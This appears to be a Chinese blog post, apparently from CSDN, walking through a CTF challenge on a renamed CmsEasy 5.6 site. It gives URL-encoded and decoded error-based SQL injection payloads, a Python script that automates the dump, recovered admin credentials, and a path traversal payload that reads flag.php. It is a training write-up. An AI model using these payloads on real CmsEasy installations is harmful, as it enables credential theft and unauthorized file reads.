中华人民共和国网络安全法(出版物)_360百科

可以说一道经典的CTF题目,解这道题的过程类似于我们渗透测试的过程,所以把它放在了这个专栏,在这里我们详细讲过程,而不是原理。

目录

题目

寻找方向

flag .php

YearsCMS

报错注入

后台读取flag

总结


题目

给了我们提示,而且注意题目名字,YeserCMS CMS(内容管理系统)提示我们要找到这个网站的CMS版本

进入环境

寻找方向

一般情况我们肯定都是把能点的全点一遍,上传的上传,注入的注入,传参执行的执行。

但是要按照题目意思来,毕竟这是比赛,时间还是比较紧张的,不可能让你在没漏洞的地方浪费时间,而是给了你一点提示

  • flag.php
  • YearsCMS

flag .php

先进入flag.php

没有,但是应该是在后台。习惯性的robots.txt(这种题目该给的信息会给)

YearsCMS

网上搜索YearsCMS,但是如果这是比赛的话,你是搜不到的,因为这是出题方改了cms的名字(现在早就比完了,肯定能搜到不少 write up)

所以接下来就是提到如何通过这个网页寻找CMS版本了

常见的判断网站cms方法_黑面狐-CSDN博客_网站cms系统检测

想详细学习的可以看上面的链接。

最简单方法就是直接浏览器搜索在线CMS指纹识别

在线指纹识别,在线cms识别小插件--在线工具

把网址输进去OK

报错注入

找到了cms版本,接下来就是百度该cms的漏洞了。(具体原理看下方链接)

cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑) - 羊小弟 - 博客园

我们获得了payload

url: /celive/live/header.phppost:xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>

这里是经过了二次编码,所以我们URL解码看看payload,方便我们通过这个题目稍微修改下。百度在线网站解码

解码后


xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from cmseasy_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

这里是查找cmseasy_user的表信息,也就是用户的账户密码,可是使用不了(出题人修改了表名)

那怎么办?

既然注入存在,我们自行修改语句,从爆表开始。这里就需要有一点报错注入的基础了,下面文章讲到了报错注入。

i春秋CTF-训练营 SQL注入-2 一鱼三吃 sqlmap bp手注 python脚本_AAAAAAAAAAAA66的博客-CSDN博客

SQL注入之错误注入_基于updatexml()_wangyuxiang946的博客-CSDN博客

修改后的payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

到这个url(漏洞讲解里有,这里有传参,存在注入)

/celive/live/header.php

因为输出长度的限制,只爆出了一点表,之后我修改1,32,为32到64,继续运行。

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

后面试了几下还是没把表爆完。。。。。。。。

这时候问题又来了怎么爆完,手动还是自动,不说了,上大佬脚本!

pycharm python3版本运行

import requests
url = 'http://f323616315c34c59a57da0958bdba1c55e2573098c8a48ea.changame.ichunqiu.com/celive/live/header.php'
for i in range(1,999,31):postdata = {'xajax':'Postdata','xajaxargs[0]':"<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" %str(i)
}r = requests.post(url,data=postdata)print(r.content[22:53])

好家伙,放在最后一个?手动不得累死我??

随后爆出管理员账户和密码payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

好家伙,又不给我爆完(输出长度的限制)

修改payload(1,32 改为32,64)

payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),32,64),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

爆全了,2个加一块。

[admin|ff512d4240cbbdeafada404677ccbe61]

MD5解码 还是那样百度MD5在线解码。

坑的是这里还要付费

换个网站

所以得出 管理员账户:admin密码:Yeser231

随后url改为 /admin 登陆

这一阶段的任务就完成了。

后台读取flag

这里也需要一些尝试,首先是想文件上传,试了很久发现没有?,咋办?要是我当初做到这一步我也不知道,哈哈,所以要看write up 学习思路啊。

以看过write up的心理来说下一步。最可疑的地方是()????

这里有关于文件,而我们的目的就是获取flag文件

点编辑抓包

&id=#position_html传参调用了position_html
打开一下脑洞,是不是这里提取的是position_html
那么把参数换为 flag.php 行不行呢? 当然这里需要目录穿越
所以最终payload
&id=#../../flag.php

重新抓包repeated

获取flag

总结

这道题目就像真实的渗透测试一样,找信息,找POC,利用POC,编写脚本,进入后台,抓包猜程序功能,尝试寻找,修改文件,最终获取flag,按着这个思路的确对自己有挺大帮助的,至少在思考上。

参考链接

“百度杯”CTF比赛 九月场 YeserCMS 详细解析 - 灰信网(软件开发博客聚合)

cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑) - 羊小弟 - 博客园

SQL注入之错误注入_基于updatexml()_wangyuxiang946的博客-CSDN博客


作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!

[WEB攻防] i春秋- “百度杯”CTF比赛 十二月场-YeserCMS cmseasy CmsEasy_5.6_20151009 无限制报错注入 复现过程相关推荐

  1. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  2. CTFhtml解析php,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3等 php别名) Web程序 - 贪吃蛇学院-专业IT技术平台...

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

  3. ctf php fork,i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)...

    网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...

  4. “百度杯”CTF比赛 九月场--web Upload

    "百度杯"CTF比赛 九月场--web Upload 基础知识 1.什么是一句话木马? 2.一句话木马的简要原理 3.html渲染过程 解析渲染该过程主要分为以下步骤 解决方案 4 ...

  5. “百度杯”CTF比赛 十月场 writeup

    "百度杯"CTF比赛十月场 Misc 那些年我追过的贝丝 我要变成一只程序员 剧情大反转 challenge 据说是rc4算法 try again 表姐家的签到题 泄露的数据 考眼 ...

  6. “百度杯”CTF比赛 十一月场Mangager

    此题前半部分分析见"百度杯"CTF比赛 十一月场 题目名称:Mangager_CodeRoc的博客-CSDN博客 每日CTF Web:Mangager_LUV_YOUJUN的博客- ...

  7. “百度杯”CTF比赛 十一月场Look

    最近一直在刷百度杯的题目,感觉每个题目都能涉及到很多知识点,写点wp记录一下 进入后看见页面空白,这个时候一般用dirsearch扫一下,同时burp抓包看一下 看到响应头里有X-HT,这应该是一个提 ...

  8. “百度杯”CTF比赛 十月场 Login

    "百度杯"CTF比赛 十月场 Login 1 进去就是一个长得还可以的登入界面,查看源码没看到注释,以为没有,开始对其进行sql注入测试,在 burp suite多次尝试,没找到注 ...

  9. “百度杯”CTF比赛 九月场 Upload解题思路

    Hello,大家好,我是锘锘鸡. 今天分享给大家的是百度杯CTF比赛的Upload解题思路. 先看下题目 提示flag就在flag.php中. 进入答题链接 发现是文件上传,于是好奇的锘锘鸡开始了他的 ...

最新文章

  1. TENSORFLOW变量作用域(VARIABLE SCOPE)
  2. SQL Server DATEDIFF() 函数计算时间差
  3. python hookapi_pytest文档70-Hook钩子函数完整API总结​
  4. 转: SMTP 服务器无法识别在 Mac 2011 Outlook 中发送电子邮件时错误。错误 17092...
  5. android 部分文字加粗,2013.04.08——— android 关于部分文字加粗的有关问题
  6. java的头怎么写_JAVA对象布局之对象头(Object Header)
  7. 素数的线性筛法java,埃氏筛 线性筛(欧拉筛) 算法解析
  8. python京东预约抢购流程_[Python] 京东秒杀商品抢购-茅台抢购自动获取抢购时间【修改】...
  9. css 鼠标呈现手指型
  10. 大数据行业热门岗位有哪些
  11. stc15w404as引脚图_STC15W408AS系列
  12. 温德姆集团加速麦客达品牌在华扩张;柏悦酒店将进驻长沙;希尔顿惠庭中国首店将在深圳开业 | 美通社头条...
  13. 单片机C语言中关键词code的作用
  14. linux怎么恢复删除的文件
  15. 和平精英服务器响应超时什么意思,和平精英服务器无响应,和平精英服务器超时...
  16. 644 · 镜像数字
  17. 数据库连接数和数据库连接池的连接数区别?
  18. 准静态、静态、动态(动力学分析)
  19. IPhone开发教程 一
  20. 回顾知识点:操作系统篇(一)

热门文章

  1. android自定义照相机改变焦距,Android Camera变焦编程步骤
  2. 并发与多线程相关知识点梳理
  3. SystemviewV3.12移到目标板
  4. 今天给大家介绍一篇基于javaWeb的汽车订票系统的设计与实现
  5. 计算机毕业设计asp.net校园足球赛事管理系统(源码+系统+mysql数据库+Lw文档)
  6. 南加州大学计算机科学案例,南加州大学计算机科学硕士录取
  7. openlayers加载Mapbox底图
  8. bim要求计算机什么配置,BIM对电脑配置的要求
  9. 【NOIP模拟赛】七夕祭(环形均分纸牌)
  10. python手写代码面试_常见Python面试题 — 手写代码系列